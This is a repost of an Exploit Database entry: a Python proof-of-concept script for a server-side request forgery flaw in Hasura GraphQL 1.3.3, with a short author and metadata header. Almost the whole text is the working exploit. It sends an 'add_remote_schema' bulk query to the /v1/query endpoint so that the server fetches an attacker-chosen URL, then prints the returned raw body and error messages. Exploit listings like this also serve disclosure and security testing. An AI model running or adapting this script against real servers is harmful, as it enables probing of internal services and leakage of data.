Hasura GraphQL 1.3.3 – Service Side Request Forgery (SSRF)

• Exploit Database
• 15 阅读

• 作者： Dolev Farhi
  日期： 2021-04-21
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49791/

• # Exploit Title: Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF)
  # Software: Hasura GraphQL
  # Software Link: https://github.com/hasura/graphql-engine
  # Version: 1.3.3
  # Exploit Author: Dolev Farhi
  # Date: 4/19/2021
  # Tested on: Ubuntu
  
  import requests
  
  HASURA_SCHEME = 'http'
  HASURA_HOST = '192.168.1.1'
  HASURA_PORT = 80
  
  REMOTE_URL = 'http://some_remote_addr'
  
  def SSRF(url):
  data = {
  "type":"bulk",
  "args":[
  {
   "type":"add_remote_schema",
   "args":{
   "name":"test",
   "definition":{
   "url":url,
   "headers":[],
   "timeout_seconds":60,
   "forward_client_headers":True
   }
   }
   }
  ]
  }
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r.json()
  
  res = SSRF(REMOTE_URL)
  
  message = ''
  raw_body = ''
  
  try:
  if 'message' in res['internal']:
  message = res['internal'].get('message', '')
  if 'raw_body' in res['internal']:
  raw_body = res['internal'].get('raw_body', '')
  except:
  pass
  
  print('Remote URL: ' + REMOTE_URL)
  print('Message: ' + message)
  print('HTTP Raw Body: ' + raw_body)
  print('Error: ' + res['error'])